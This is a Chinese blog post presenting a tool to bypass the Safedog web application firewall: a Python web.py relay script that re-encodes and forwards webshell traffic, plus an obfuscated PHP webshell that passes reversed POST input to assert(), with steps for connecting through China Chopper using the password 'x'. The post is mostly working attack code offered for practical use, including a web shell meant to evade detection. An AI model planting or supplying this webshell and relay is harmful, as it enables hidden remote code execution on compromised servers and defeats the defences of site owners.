美文网首页初学者TIDE_网络安全
中转Webshell 绕过安全狗(二)

中转Webshell 绕过安全狗(二)

作者: CSeroad | 来源:发表于2019-05-17 11:08 被阅读94次

前言

在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php。某大佬提示并分享资源后,打算使用python完成中转。部分代码无耻copy。

客户端

本地127.0.0.1,安装python2
phpshellproxy.py

#coding=utf-8

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

import web

urls = (
    '/','index',
    '/reverse','reverse',
    )

#render = web.template.render('templates/')
import json
import urllib

class index:
    def GET(self):
        return 1
class Base:
    def getpostdata(self, postdata):
        #content with &
        postdatalist = postdata.split('&')
        for pa in postdatalist:
            #content with =, can't split with =
            index = pa.find("=")
            setattr(self,pa[:index],urllib.unquote_plus(pa[index+1:]))
import requests
import codecs, urllib , base64 #, chardet
class reverse(Base, object):
    def GET(self,corpid):
        return 1
    def POST(self):
        data = web.data()
        #print data
        pwdata = data.split('&')[0].split('=')[1]
        #print pwdata
        #print 'pwdata', pwdata
        #print 'pwdata[::-1]', urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b')
        newpostdata = data.replace(pwdata, urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b'))
        #print 'newpostdata', newpostdata
        r = requests.post("http://192.168.253.129/waf/transServ.php", data=""+newpostdata.replace(' ','+'), headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"})#, proxies={'http':"http://127.0.0.1:8080"})
        #print r.apparent_encoding
        #r.encoding = 'gb2312'
        #print chardet.detect(r.content)
        #print r.text
        #return r.text
        return r.content 
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

运行需要安装

pip install web
pip install requests

服务端

shell端192.168.253.129,安装安全狗
phpb64.php
做了点混淆,可过安全狗

<?php 
$DS = $_POST['x'];
$str = strrev($DS);
$a1 = array("1234","123456");
$a2 = array($str,"5461");
$ma = array_map(null,$a1,$a2)[0][1];
@assert($ma);

使用方法

  1. 替换phpshellproxy.py中的shell地址,b64为base64编码,需配合phpb64.php使用
  2. 运行python phpshellproxy.py 9000 (端口自定义)
  3. 使用菜单连接对应shell地址,如 http://[ip]:9000/b64 ,输入对应密码,配置对应脚本类型,如果打开错误,建议清掉缓存,重新打开。

操作

本地运行phpshellproxy.py文件

image.png

中国菜刀进行连接http://127.0.0.1:9000/reverse 密码:x

image.png image.png

下载地址 提取码:l8ye

相关文章

  • 中转Webshell 绕过安全狗(二)

    前言 在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php。某大佬提示并分享资源后,打算使用p...

  • 中转Webshell 绕过安全狗(一)

    前言 听说中国菜刀里有后门。抓包我是没有监测到异常数据包。为了以防万一,且更好使用中国菜刀硬杠安全狗。笔者收集了一...

  • 中转Webshell绕过流量检测防护

    ->_<- 0x00 前言 前一阵子心情不太好,本来已经不打算写东西了,但想到自己在学习的时候摸爬滚打,吃尽了苦头...

  • WAF

    一.本文介绍 1、本文介绍组合绕过、Transfer-Encoding: chunked绕过安全狗。 二.学习步骤...

  • 网络安全-Day44-WAF绕过(一)

    使用组合方法过安全狗 1、未使用绕过方法 2、使用组合绕过 使用组合方法过安全狗 1、未绕过 2、添加http头信...

  • webshell如何bypass安全狗

    https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ

  • sql注入绕狗

    绕安全狗总结 安全狗靶场 http://59.63.200.79:8014/?id=1 在绕过之前,我需要说明我的...

  • 小迪16期-20170408

    安全狗防护注入及绕过思路Sqlmap tamper插件分析. sql注入绕过思路一:提交方式更改注入sql注入绕过...

  • 文件上传绕过整理

    WAF绕过: 安全狗绕过 1.绕过思路:对文件的内容,数据。数据包进行处理。 关键点在这里Content-Disp...

  • sql注入绕过安全狗waf

    看了某个师傅sql注入绕过安全狗waf的文章,自己搭建平台重现一番。 环境部署 安装phpstudy: 安全狗关闭...

网友评论

    本文标题:中转Webshell 绕过安全狗(二)

    本文链接:https://www.haomeiwen.com/subject/thknaqtx.html